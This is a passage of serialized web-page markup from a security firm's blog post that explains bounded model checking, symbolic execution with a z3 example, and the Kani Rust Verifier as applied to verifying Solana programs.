we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":9690,"props":30083,"children":30084},{},[30085],{"type":29,"value":30086},"bounded model checking",{"type":29,"value":30088}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":32,"props":30090,"children":30091},{},[30092],{"type":23,"tag":9690,"props":30093,"children":30094},{},[30095,30097,30104,30106],{"type":29,"value":30096},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":940,"props":30098,"children":30101},{"href":30099,"rel":30100},"https://osec.io/contact",[944],[30102],{"type":29,"value":30103},"this form",{"type":29,"value":30105}," or email us at ",{"type":23,"tag":940,"props":30107,"children":30109},{"href":30108},"mailto:contact@osec.io",[30110],{"type":29,"value":30111},"contact@osec.io",{"type":23,"tag":30016,"props":30113,"children":30114},{},[],{"type":23,"tag":30116,"props":30117,"children":30119},"h4",{"id":30118},"contents",[30120],{"type":29,"value":30121},"Contents:",{"type":23,"tag":2797,"props":30123,"children":30124},{},[30125,30130,30147,30157,30162,30167],{"type":23,"tag":2801,"props":30126,"children":30127},{},[30128],{"type":29,"value":30129},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":2801,"props":30131,"children":30132},{},[30133,30138,30140,30145],{"type":23,"tag":16596,"props":30134,"children":30135},{},[30136],{"type":29,"value":30137},"Specification",{"type":29,"value":30139},": How can we describe what we ",{"type":23,"tag":9690,"props":30141,"children":30142},{},[30143],{"type":29,"value":30144},"want",{"type":29,"value":30146}," our program to do?",{"type":23,"tag":2801,"props":30148,"children":30149},{},[30150,30155],{"type":23,"tag":16596,"props":30151,"children":30152},{},[30153],{"type":29,"value":30154},"Verification",{"type":29,"value":30156},": How do we check that our model is correct?",{"type":23,"tag":2801,"props":30158,"children":30159},{},[30160],{"type":29,"value":30161},"Case Study: Squads Multisig",{"type":23,"tag":2801,"props":30163,"children":30164},{},[30165],{"type":29,"value":30166},"Additional challenges in Solana",{"type":23,"tag":2801,"props":30168,"children":30169},{},[30170],{"type":29,"value":14118},{"type":23,"tag":24,"props":30172,"children":30174},{"id":30173},"formal-verification-with-bounded-model-checking",[30175],{"type":29,"value":30176},"Formal Verification with Bounded Model Checking",{"type":23,"tag":923,"props":30178,"children":30180},{"id":30179},"overview",[30181],{"type":29,"value":30182},"Overview",{"type":23,"tag":32,"props":30184,"children":30185},{},[30186],{"type":29,"value":30187},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":32,"props":30189,"children":30190},{},[30191,30193,30198],{"type":29,"value":30192},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":16596,"props":30194,"children":30195},{},[30196],{"type":29,"value":30197},"bounded model checking (BMC)",{"type":29,"value":557},{"type":23,"tag":32,"props":30200,"children":30201},{},[30202,30204,30209,30211,30216,30218,30222,30224,30230,30232,30238],{"type":29,"value":30203},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":9690,"props":30205,"children":30206},{},[30207],{"type":29,"value":30208},"symbolically",{"type":29,"value":30210}," rather than ",{"type":23,"tag":9690,"props":30212,"children":30213},{},[30214],{"type":29,"value":30215},"concretely",{"type":29,"value":30217},". Instead of actually performing an ",{"type":23,"tag":9690,"props":30219,"children":30220},{},[30221],{"type":29,"value":20887},{"type":29,"value":30223}," when we see the line ",{"type":23,"tag":71,"props":30225,"children":30227},{"className":30226},[],[30228],{"type":29,"value":30229},"int x = a + b",{"type":29,"value":30231},", we store the symbolic expression ",{"type":23,"tag":71,"props":30233,"children":30235},{"className":30234},[],[30236],{"type":29,"value":30237},"x == a + b",{"type":29,"value":30239},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":32,"props":30241,"children":30242},{},[30243],{"type":29,"value":30244},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":923,"props":30246,"children":30248},{"id":30247},"a-simple-example",[30249],{"type":29,"value":30250},"A simple example",{"type":23,"tag":32,"props":30252,"children":30253},{},[30254],{"type":29,"value":30255},"As an example, consider the following function:",{"type":23,"tag":64,"props":30257,"children":30259},{"code":30258,"language":14432,"meta":7,"className":27738,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[30260],{"type":23,"tag":71,"props":30261,"children":30262},{"__ignoreMap":7},[30263,30293,30327,30339,30364,30392,30407,30434,30441,30448,30456,30482],{"type":23,"tag":75,"props":30264,"children":30265},{"class":77,"line":78},[30266,30271,30276,30280,30284,30289],{"type":23,"tag":75,"props":30267,"children":30268},{"style":82},[30269],{"type":29,"value":30270},"int",{"type":23,"tag":75,"props":30272,"children":30273},{"style":88},[30274],{"type":29,"value":30275}," foo",{"type":23,"tag":75,"props":30277,"children":30278},{"style":94},[30279],{"type":29,"value":643},{"type":23,"tag":75,"props":30281,"children":30282},{"style":82},[30283],{"type":29,"value":30270},{"type":23,"tag":75,"props":30285,"children":30286},{"style":110},[30287],{"type":29,"value":30288}," x",{"type":23,"tag":75,"props":30290,"children":30291},{"style":94},[30292],{"type":29,"value":193},{"type":23,"tag":75,"props":30294,"children":30295},{"class":77,"line":100},[30296,30301,30305,30309,30314,30318,30323],{"type":23,"tag":75,"props":30297,"children":30298},{"style":82},[30299],{"type":29,"value":30300},"    int",{"type":23,"tag":75,"props":30302,"children":30303},{"style":94},[30304],{"type":29,"value":15786},{"type":23,"tag":75,"props":30306,"children":30307},{"style":209},[30308],{"type":29,"value":212},{"type":23,"tag":75,"props":30310,"children":30311},{"style":94},[30312],{"type":29,"value":30313}," x ",{"type":23,"tag":75,"props":30315,"children":30316},{"style":209},[30317],{"type":29,"value":7862},{"type":23,"tag":75,"props":30319,"children":30320},{"style":237},[30321],{"type":29,"value":30322}," 3",{"type":23,"tag":75,"props":30324,"children":30325},{"style":94},[30326],{"type":29,"value":245},{"type":23,"tag":75,"props":30328,"children":30329},{"class":77,"line":121},[30330,30334],{"type":23,"tag":75,"props":30331,"children":30332},{"style":82},[30333],{"type":29,"value":30300},{"type":23,"tag":75,"props":30335,"children":30336},{"style":94},[30337],{"type":29,"value":30338}," z;\n",{"type":23,"tag":75,"props":30340,"children":30341},{"class":77,"line":138},[30342,30346,30351,30355,30360],{"type":23,"tag":75,"props":30343,"children":30344},{"style":175},[30345],{"type":29,"value":1363},{"type":23,"tag":75,"props":30347,"children":30348},{"style":94},[30349],{"type":29,"value":30350}," (y ",{"type":23,"tag":75,"props":30352,"children":30353},{"style":209},[30354],{"type":29,"value":4652},{"type":23,"tag":75,"props":30356,"children":30357},{"style":237},[30358],{"type":29,"value":30359}," 100",{"type":23,"tag":75,"props":30361,"children":30362},{"style":94},[30363],{"type":29,"value":193},{"type":23,"tag":75,"props":30365,"children":30366},{"class":77,"line":161},[30367,30372,30376,30380,30384,30388],{"type":23,"tag":75,"props":30368,"children":30369},{"style":94},[30370],{"type":29,"value":30371},"        z ",{"type":23,"tag":75,"props":30373,"children":30374},{"style":209},[30375],{"type":29,"value":212},{"type":23,"tag":75,"props":30377,"children":30378},{"style":94},[30379],{"type":29,"value":15786},{"type":23,"tag":75,"props":30381,"children":30382},{"style":209},[30383],{"type":29,"value":601},{"type":23,"tag":75,"props":30385,"children":30386},{"style":237},[30387],{"type":29,"value":19193},{"type":23,"tag":75,"props":30389,"children":30390},{"style":94},[30391],{"type":29,"value":245},{"type":23,"tag":75,"props":30393,"children":30394},{"class":77,"line":196},[30395,30399,30403],{"type":23,"tag":75,"props":30396,"children":30397},{"style":94},[30398],{"type":29,"value":8344},{"type":23,"tag":75,"props":30400,"children":30401},{"style":175},[30402],{"type":29,"value":6878},{"type":23,"tag":75,"props":30404,"children":30405},{"style":94},[30406],{"type":29,"value":401},{"type":23,"tag":75,"props":30408,"children":30409},{"class":77,"line":220},[30410,30414,30418,30422,30426,30430],{"type":23,"tag":75,"props":30411,"children":30412},{"style":94},[30413],{"type":29,"value":30371},{"type":23,"tag":75,"props":30415,"children":30416},{"style":209},[30417],{"type":29,"value":212},{"type":23,"tag":75,"props":30419,"children":30420},{"style":94},[30421],{"type":29,"value":15786},{"type":23,"tag":75,"props":30423,"children":30424},{"style":209},[30425],{"type":29,"value":7862},{"type":23,"tag":75,"props":30427,"children":30428},{"style":237},[30429],{"type":29,"value":15795},{"type":23,"tag":75,"props":30431,"children":30432},{"style":94},[30433],{"type":29,"value":245},{"type":23,"tag":75,"props":30435,"children":30436},{"class":77,"line":248},[30437],{"type":23,"tag":75,"props":30438,"children":30439},{"style":94},[30440],{"type":29,"value":346},{"type":23,"tag":75,"props":30442,"children":30443},{"class":77,"line":270},[30444],{"type":23,"tag":75,"props":30445,"children":30446},{"emptyLinePlaceholder":15},[30447],{"type":29,"value":276},{"type":23,"tag":75,"props":30449,"children":30450},{"class":77,"line":279},[30451],{"type":23,"tag":75,"props":30452,"children":30453},{"style":3621},[30454],{"type":29,"value":30455},"    // Property P:\n",{"type":23,"tag":75,"props":30457,"children":30458},{"class":77,"line":303},[30459,30464,30469,30473,30478],{"type":23,"tag":75,"props":30460,"children":30461},{"style":88},[30462],{"type":29,"value":30463},"    assert",{"type":23,"tag":75,"props":30465,"children":30466},{"style":94},[30467],{"type":29,"value":30468},"(z ",{"type":23,"tag":75,"props":30470,"children":30471},{"style":209},[30472],{"type":29,"value":26916},{"type":23,"tag":75,"props":30474,"children":30475},{"style":237},[30476],{"type":29,"value":30477}," 105",{"type":23,"tag":75,"props":30479,"children":30480},{"style":94},[30481],{"type":29,"value":15099},{"type":23,"tag":75,"props":30483,"children":30484},{"class":77,"line":322},[30485],{"type":23,"tag":75,"props":30486,"children":30487},{"style":94},[30488],{"type":29,"value":369},{"type":23,"tag":32,"props":30490,"children":30491},{},[30492,30494,30500,30502,30508],{"type":29,"value":30493},"This function takes an input ",{"type":23,"tag":71,"props":30495,"children":30497},{"className":30496},[],[30498],{"type":29,"value":30499},"x",{"type":29,"value":30501}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":71,"props":30503,"children":30505},{"className":30504},[],[30506],{"type":29,"value":30507},"z != 105",{"type":29,"value":557},{"type":23,"tag":32,"props":30510,"children":30511},{},[30512],{"type":29,"value":30513},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":32,"props":30515,"children":30516},{},[30517],{"type":29,"value":30518},"Positive branch:",{"type":23,"tag":64,"props":30520,"children":30522},{"code":30521,"language":14432,"meta":7,"className":27738,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[30523],{"type":23,"tag":71,"props":30524,"children":30525},{"__ignoreMap":7},[30526,30551,30566],{"type":23,"tag":75,"props":30527,"children":30528},{"class":77,"line":78},[30529,30534,30538,30542,30546],{"type":23,"tag":75,"props":30530,"children":30531},{"style":94},[30532],{"type":29,"value":30533},"y ",{"type":23,"tag":75,"props":30535,"children":30536},{"style":209},[30537],{"type":29,"value":2469},{"type":23,"tag":75,"props":30539,"children":30540},{"style":94},[30541],{"type":29,"value":30313},{"type":23,"tag":75,"props":30543,"children":30544},{"style":209},[30545],{"type":29,"value":7862},{"type":23,"tag":75,"props":30547,"children":30548},{"style":237},[30549],{"type":29,"value":30550}," 3\n",{"type":23,"tag":75,"props":30552,"children":30553},{"class":77,"line":100},[30554,30558,30562],{"type":23,"tag":75,"props":30555,"children":30556},{"style":94},[30557],{"type":29,"value":30533},{"type":23,"tag":75,"props":30559,"children":30560},{"style":209},[30561],{"type":29,"value":4652},{"type":23,"tag":75,"props":30563,"children":30564},{"style":237},[30565],{"type":29,"value":2891},{"type":23,"tag":75,"props":30567,"children":30568},{"class":77,"line":121},[30569,30574,30578,30582,30586],{"type":23,"tag":75,"props":30570,"children":30571},{"style":94},[30572],{"type":29,"value":30573},"z ",{"type":23,"tag":75,"props":30575,"children":30576},{"style":209},[30577],{"type":29,"value":2469},{"type":23,"tag":75,"props":30579,"children":30580},{"style":94},[30581],{"type":29,"value":15786},{"type":23,"tag":75,"props":30583,"children":30584},{"style":209},[30585],{"type":29,"value":601},{"type":23,"tag":75,"props":30587,"children":30588},{"style":237},[30589],{"type":29,"value":30590}," 2\n",{"type":23,"tag":32,"props":30592,"children":30593},{},[30594],{"type":29,"value":30595},"Negative branch:",{"type":23,"tag":64,"props":30597,"children":30599},{"code":30598,"language":14432,"meta":7,"className":27738,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[30600],{"type":23,"tag":71,"props":30601,"children":30602},{"__ignoreMap":7},[30603,30626,30642],{"type":23,"tag":75,"props":30604,"children":30605},{"class":77,"line":78},[30606,30610,30614,30618,30622],{"type":23,"tag":75,"props":30607,"children":30608},{"style":94},[30609],{"type":29,"value":30533},{"type":23,"tag":75,"props":30611,"children":30612},{"style":209},[30613],{"type":29,"value":2469},{"type":23,"tag":75,"props":30615,"children":30616},{"style":94},[30617],{"type":29,"value":30313},{"type":23,"tag":75,"props":30619,"children":30620},{"style":209},[30621],{"type":29,"value":7862},{"type":23,"tag":75,"props":30623,"children":30624},{"style":237},[30625],{"type":29,"value":30550},{"type":23,"tag":75,"props":30627,"children":30628},{"class":77,"line":100},[30629,30633,30638],{"type":23,"tag":75,"props":30630,"children":30631},{"style":94},[30632],{"type":29,"value":30533},{"type":23,"tag":75,"props":30634,"children":30635},{"style":209},[30636],{"type":29,"value":30637},"\u003C=",{"type":23,"tag":75,"props":30639,"children":30640},{"style":237},[30641],{"type":29,"value":2891},{"type":23,"tag":75,"props":30643,"children":30644},{"class":77,"line":121},[30645,30649,30653,30657,30661],{"type":23,"tag":75,"props":30646,"children":30647},{"style":94},[30648],{"type":29,"value":30573},{"type":23,"tag":75,"props":30650,"children":30651},{"style":209},[30652],{"type":29,"value":2469},{"type":23,"tag":75,"props":30654,"children":30655},{"style":94},[30656],{"type":29,"value":15786},{"type":23,"tag":75,"props":30658,"children":30659},{"style":209},[30660],{"type":29,"value":7862},{"type":23,"tag":75,"props":30662,"children":30663},{"style":237},[30664],{"type":29,"value":30665}," 1\n",{"type":23,"tag":32,"props":30667,"children":30668},{},[30669,30671,30678],{"type":29,"value":30670},"Using the ",{"type":23,"tag":940,"props":30672,"children":30675},{"href":30673,"rel":30674},"https://github.com/Z3Prover/z3",[944],[30676],{"type":29,"value":30677},"z3",{"type":29,"value":30679}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":64,"props":30681,"children":30685},{"code":30682,"language":30683,"meta":7,"className":30684,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[30686],{"type":23,"tag":71,"props":30687,"children":30688},{"__ignoreMap":7},[30689,30712,30719,30745,30769,30793,30800,30808,30825,30853,30872,30900,30907,30915,30935,30953,30960,30968,30983,31010,31029,31056,31063,31070,31089],{"type":23,"tag":75,"props":30690,"children":30691},{"class":77,"line":78},[30692,30697,30702,30707],{"type":23,"tag":75,"props":30693,"children":30694},{"style":175},[30695],{"type":29,"value":30696},"from",{"type":23,"tag":75,"props":30698,"children":30699},{"style":94},[30700],{"type":29,"value":30701}," z3 ",{"type":23,"tag":75,"props":30703,"children":30704},{"style":175},[30705],{"type":29,"value":30706},"import",{"type":23,"tag":75,"props":30708,"children":30709},{"style":209},[30710],{"type":29,"value":30711}," *\n",{"type":23,"tag":75,"props":30713,"children":30714},{"class":77,"line":100},[30715],{"type":23,"tag":75,"props":30716,"children":30717},{"emptyLinePlaceholder":15},[30718],{"type":29,"value":276},{"type":23,"tag":75,"props":30720,"children":30721},{"class":77,"line":121},[30722,30727,30731,30736,30741],{"type":23,"tag":75,"props":30723,"children":30724},{"style":94},[30725],{"type":29,"value":30726},"x ",{"type":23,"tag":75,"props":30728,"children":30729},{"style":209},[30730],{"type":29,"value":212},{"type":23,"tag":75,"props":30732,"children":30733},{"style":94},[30734],{"type":29,"value":30735}," Int(",{"type":23,"tag":75,"props":30737,"children":30738},{"style":1266},[30739],{"type":29,"value":30740},"'x'",{"type":23,"tag":75,"props":30742,"children":30743},{"style":94},[30744],{"type":29,"value":653},{"type":23,"tag":75,"props":30746,"children":30747},{"class":77,"line":138},[30748,30752,30756,30760,30765],{"type":23,"tag":75,"props":30749,"children":30750},{"style":94},[30751],{"type":29,"value":30533},{"type":23,"tag":75,"props":30753,"children":30754},{"style":209},[30755],{"type":29,"value":212},{"type":23,"tag":75,"props":30757,"children":30758},{"style":94},[30759],{"type":29,"value":30735},{"type":23,"tag":75,"props":30761,"children":30762},{"style":1266},[30763],{"type":29,"value":30764},"'y'",{"type":23,"tag":75,"props":30766,"children":30767},{"style":94},[30768],{"type":29,"value":653},{"type":23,"tag":75,"props":30770,"children":30771},{"class":77,"line":161},[30772,30776,30780,30784,30789],{"type":23,"tag":75,"props":30773,"children":30774},{"style":94},[30775],{"type":29,"value":30573},{"type":23,"tag":75,"props":30777,"children":30778},{"style":209},[30779],{"type":29,"value":212},{"type":23,"tag":75,"props":30781,"children":30782},{"style":94},[30783],{"type":29,"value":30735},{"type":23,"tag":75,"props":30785,"children":30786},{"style":1266},[30787],{"type":29,"value":30788},"'z'",{"type":23,"tag":75,"props":30790,"children":30791},{"style":94},[30792],{"type":29,"value":653},{"type":23,"tag":75,"props":30794,"children":30795},{"class":77,"line":196},[30796],{"type":23,"tag":75,"props":30797,"children":30798},{"emptyLinePlaceholder":15},[30799],{"type":29,"value":276},{"type":23,"tag":75,"props":30801,"children":30802},{"class":77,"line":220},[30803],{"type":23,"tag":75,"props":30804,"children":30805},{"style":3621},[30806],{"type":29,"value":30807},"# Positive branch:\n",{"type":23,"tag":75,"props":30809,"children":30810},{"class":77,"line":248},[30811,30816,30820],{"type":23,"tag":75,"props":30812,"children":30813},{"style":94},[30814],{"type":29,"value":30815},"s ",{"type":23,"tag":75,"props":30817,"children":30818},{"style":209},[30819],{"type":29,"value":212},{"type":23,"tag":75,"props":30821,"children":30822},{"style":94},[30823],{"type":29,"value":30824}," Solver()\n",{"type":23,"tag":75,"props":30826,"children":30827},{"class":77,"line":270},[30828,30833,30837,30841,30845,30849],{"type":23,"tag":75,"props":30829,"children":30830},{"style":94},[30831],{"type":29,"value":30832},"s.add(y ",{"type":23,"tag":75,"props":30834,"children":30835},{"style":209},[30836],{"type":29,"value":2469},{"type":23,"tag":75,"props":30838,"children":30839},{"style":94},[30840],{"type":29,"value":30313},{"type":23,"tag":75,"props":30842,"children":30843},{"style":209},[30844],{"type":29,"value":7862},{"type":23,"tag":75,"props":30846,"children":30847},{"style":237},[30848],{"type":29,"value":30322},{"type":23,"tag":75,"props":30850,"children":30851},{"style":94},[30852],{"type":29,"value":653},{"type":23,"tag":75,"props":30854,"children":30855},{"class":77,"line":279},[30856,30860,30864,30868],{"type":23,"tag":75,"props":30857,"children":30858},{"style":94},[30859],{"type":29,"value":30832},{"type":23,"tag":75,"props":30861,"children":30862},{"style":209},[30863],{"type":29,"value":4652},{"type":23,"tag":75,"props":30865,"children":30866},{"style":237},[30867],{"type":29,"value":30359},{"type":23,"tag":75,"props":30869,"children":30870},{"style":94},[30871],{"type":29,"value":653},{"type":23,"tag":75,"props":30873,"children":30874},{"class":77,"line":303},[30875,30880,30884,30888,30892,30896],{"type":23,"tag":75,"props":30876,"children":30877},{"style":94},[30878],{"type":29,"value":30879},"s.add(z ",{"type":23,"tag":75,"props":30881,"children":30882},{"style":209},[30883],{"type":29,"value":2469},{"type":23,"tag":75,"props":30885,"children":30886},{"style":94},[30887],{"type":29,"value":15786},{"type":23,"tag":75,"props":30889,"children":30890},{"style":209},[30891],{"type":29,"value":601},{"type":23,"tag":75,"props":30893,"children":30894},{"style":237},[30895],{"type":29,"value":19193},{"type":23,"tag":75,"props":30897,"children":30898},{"style":94},[30899],{"type":29,"value":653},{"type":23,"tag":75,"props":30901,"children":30902},{"class":77,"line":322},[30903],{"type":23,"tag":75,"props":30904,"children":30905},{"emptyLinePlaceholder":15},[30906],{"type":29,"value":276},{"type":23,"tag":75,"props":30908,"children":30909},{"class":77,"line":340},[30910],{"type":23,"tag":75,"props":30911,"children":30912},{"style":3621},[30913],{"type":29,"value":30914},"# check if we can violate the correctness property\n",{"type":23,"tag":75,"props":30916,"children":30917},{"class":77,"line":349},[30918,30923,30927,30931],{"type":23,"tag":75,"props":30919,"children":30920},{"style":94},[30921],{"type":29,"value":30922},"s.add(Not(z ",{"type":23,"tag":75,"props":30924,"children":30925},{"style":209},[30926],{"type":29,"value":26916},{"type":23,"tag":75,"props":30928,"children":30929},{"style":237},[30930],{"type":29,"value":30477},{"type":23,"tag":75,"props":30932,"children":30933},{"style":94},[30934],{"type":29,"value":702},{"type":23,"tag":75,"props":30936,"children":30937},{"class":77,"line":363},[30938,30943,30948],{"type":23,"tag":75,"props":30939,"children":30940},{"style":88},[30941],{"type":29,"value":30942},"print",{"type":23,"tag":75,"props":30944,"children":30945},{"style":94},[30946],{"type":29,"value":30947},"(s.check()) ",{"type":23,"tag":75,"props":30949,"children":30950},{"style":3621},[30951],{"type":29,"value":30952},"# \"unsat\"\n",{"type":23,"tag":75,"props":30954,"children":30955},{"class":77,"line":656},[30956],{"type":23,"tag":75,"props":30957,"children":30958},{"emptyLinePlaceholder":15},[30959],{"type":29,"value":276},{"type":23,"tag":75,"props":30961,"children":30962},{"class":77,"line":705},[30963],{"type":23,"tag":75,"props":30964,"children":30965},{"style":3621},[30966],{"type":29,"value":30967},"# Negative branch:\n",{"type":23,"tag":75,"props":30969,"children":30970},{"class":77,"line":787},[30971,30975,30979],{"type":23,"tag":75,"props":30972,"children":30973},{"style":94},[30974],{"type":29,"value":30815},{"type":23,"tag":75,"props":30976,"children":30977},{"style":209},[30978],{"type":29,"value":212},{"type":23,"tag":75,"props":30980,"children":30981},{"style":94},[30982],{"type":29,"value":30824},{"type":23,"tag":75,"props":30984,"children":30985},{"class":77,"line":826},[30986,30990,30994,30998,31002,31006],{"type":23,"tag":75,"props":30987,"children":30988},{"style":94},[30989],{"type":29,"value":30832},{"type":23,"tag":75,"props":30991,"children":30992},{"style":209},[30993],{"type":29,"value":2469},{"type":23,"tag":75,"props":30995,"children":30996},{"style":94},[30997],{"type":29,"value":30313},{"type":23,"tag":75,"props":30999,"children":31000},{"style":209},[31001],{"type":29,"value":7862},{"type":23,"tag":75,"props":31003,"children":31004},{"style":237},[31005],{"type":29,"value":30322},{"type":23,"tag":75,"props":31007,"children":31008},{"style":94},[31009],{"type":29,"value":653},{"type":23,"tag":75,"props":31011,"children":31012},{"class":77,"line":834},[31013,31017,31021,31025],{"type":23,"tag":75,"props":31014,"children":31015},{"style":94},[31016],{"type":29,"value":30832},{"type":23,"tag":75,"props":31018,"children":31019},{"style":209},[31020],{"type":29,"value":30637},{"type":23,"tag":75,"props":31022,"children":31023},{"style":237},[31024],{"type":29,"value":30359},{"type":23,"tag":75,"props":31026,"children":31027},{"style":94},[31028],{"type":29,"value":653},{"type":23,"tag":75,"props":31030,"children":31031},{"class":77,"line":881},[31032,31036,31040,31044,31048,31052],{"type":23,"tag":75,"props":31033,"children":31034},{"style":94},[31035],{"type":29,"value":30879},{"type":23,"tag":75,"props":31037,"children":31038},{"style":209},[31039],{"type":29,"value":2469},{"type":23,"tag":75,"props":31041,"children":31042},{"style":94},[31043],{"type":29,"value":15786},{"type":23,"tag":75,"props":31045,"children":31046},{"style":209},[31047],{"type":29,"value":7862},{"type":23,"tag":75,"props":31049,"children":31050},{"style":237},[31051],{"type":29,"value":15795},{"type":23,"tag":75,"props":31053,"children":31054},{"style":94},[31055],{"type":29,"value":653},{"type":23,"tag":75,"props":31057,"children":31058},{"class":77,"line":3355},[31059],{"type":23,"tag":75,"props":31060,"children":31061},{"emptyLinePlaceholder":15},[31062],{"type":29,"value":276},{"type":23,"tag":75,"props":31064,"children":31065},{"class":77,"line":3390},[31066],{"type":23,"tag":75,"props":31067,"children":31068},{"style":3621},[31069],{"type":29,"value":30914},{"type":23,"tag":75,"props":31071,"children":31072},{"class":77,"line":3423},[31073,31077,31081,31085],{"type":23,"tag":75,"props":31074,"children":31075},{"style":94},[31076],{"type":29,"value":30922},{"type":23,"tag":75,"props":31078,"children":31079},{"style":209},[31080],{"type":29,"value":26916},{"type":23,"tag":75,"props":31082,"children":31083},{"style":237},[31084],{"type":29,"value":30477},{"type":23,"tag":75,"props":31086,"children":31087},{"style":94},[31088],{"type":29,"value":702},{"type":23,"tag":75,"props":31090,"children":31091},{"class":77,"line":3436},[31092,31096,31100],{"type":23,"tag":75,"props":31093,"children":31094},{"style":88},[31095],{"type":29,"value":30942},{"type":23,"tag":75,"props":31097,"children":31098},{"style":94},[31099],{"type":29,"value":30947},{"type":23,"tag":75,"props":31101,"children":31102},{"style":3621},[31103],{"type":29,"value":30952},{"type":23,"tag":32,"props":31105,"children":31106},{},[31107,31109,31115,31117,31122],{"type":29,"value":31108},"Both of these cases return ",{"type":23,"tag":71,"props":31110,"children":31112},{"className":31111},[],[31113],{"type":29,"value":31114},"unsat",{"type":29,"value":31116}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":9690,"props":31118,"children":31119},{},[31120],{"type":29,"value":31121},"correct",{"type":29,"value":31123}," according to this property.",{"type":23,"tag":923,"props":31125,"children":31127},{"id":31126},"loop-bounds-path-explosion",[31128],{"type":29,"value":31129},"Loop bounds & path explosion",{"type":23,"tag":32,"props":31131,"children":31132},{},[31133,31135,31140,31142,31147],{"type":29,"value":31134},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":9690,"props":31136,"children":31137},{},[31138],{"type":29,"value":31139},"every",{"type":29,"value":31141}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":9690,"props":31143,"children":31144},{},[31145],{"type":29,"value":31146},"infinite",{"type":29,"value":31148}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":32,"props":31150,"children":31151},{},[31152],{"type":29,"value":31153},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":32,"props":31155,"children":31156},{},[31157],{"type":29,"value":31158},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":32,"props":31160,"children":31161},{},[31162],{"type":29,"value":31163},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":923,"props":31165,"children":31167},{"id":31166},"kani-model-checker",[31168],{"type":29,"value":31169},"Kani Model Checker",{"type":23,"tag":32,"props":31171,"children":31172},{},[31173,31175,31180],{"type":29,"value":31174},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":940,"props":31176,"children":31178},{"href":30070,"rel":31177},[944],[31179],{"type":29,"value":30074},{"type":29,"value":31181},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":32,"props":31183,"children":31184},{},[31185,31187,31192,31194,31200,31201,31207,31209,31215],{"type":29,"value":31186},"Kani allows you to write ",{"type":23,"tag":9690,"props":31188,"children":31189},{},[31190],{"type":29,"value":31191},"proof harnesses",{"type":29,"value":31193}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":71,"props":31195,"children":31197},{"className":31196},[],[31198],{"type":29,"value":31199},"assume",{"type":29,"value":2721},{"type":23,"tag":71,"props":31202,"children":31204},{"className":31203},[],[31205],{"type":29,"value":31206},"assert",{"type":29,"value":31208}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":71,"props":31210,"children":31212},{"className":31211},[],[31213],{"type":29,"value":31214},"cargo kani",{"type":29,"value":31216}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":24,"props":31218,"children":31220},{"id":31219},"specification-how-can-we-describe-what-we-want-our-program-to-do",[31221,31223,31227],{"type":29,"value":31222},"Specification: How can we describe what we ",{"type":23,"tag":9690,"props":31224,"children":31225},{},[31226],{"type":29,"value":30144},{"type":29,"value":30146},{"type":23,"tag":32,"props":31229,"children":31230},{},[31231],{"type":23,"tag":9690,"props":31232,"children":31233},{},[31234],{"type":23,"tag":16596,"props":31235,"children":31236},{},[31237],{"type":29,"value":31238},"And what even do we want it to do?",{"type":23,"tag":32,"props":31240,"children":31241},{},[31242,31244,31249],{"type":29,"value":31243},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":9690,"props":31245,"children":31246},{},[31247],{"type":29,"value":31248},"specifying",{"type":29,"value":31250}," what the \"correct\" behavior should be.",{"type":23,"tag":32,"props":31252,"children":31253},{},[31254],{"type":29,"value":31255},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":27910,"props":31257,"children":31258},{},[31259,31271,31283],{"type":23,"tag":2801,"props":31260,"children":31261},{},[31262,31264,31269],{"type":29,"value":31263},"\"It should not be possible to 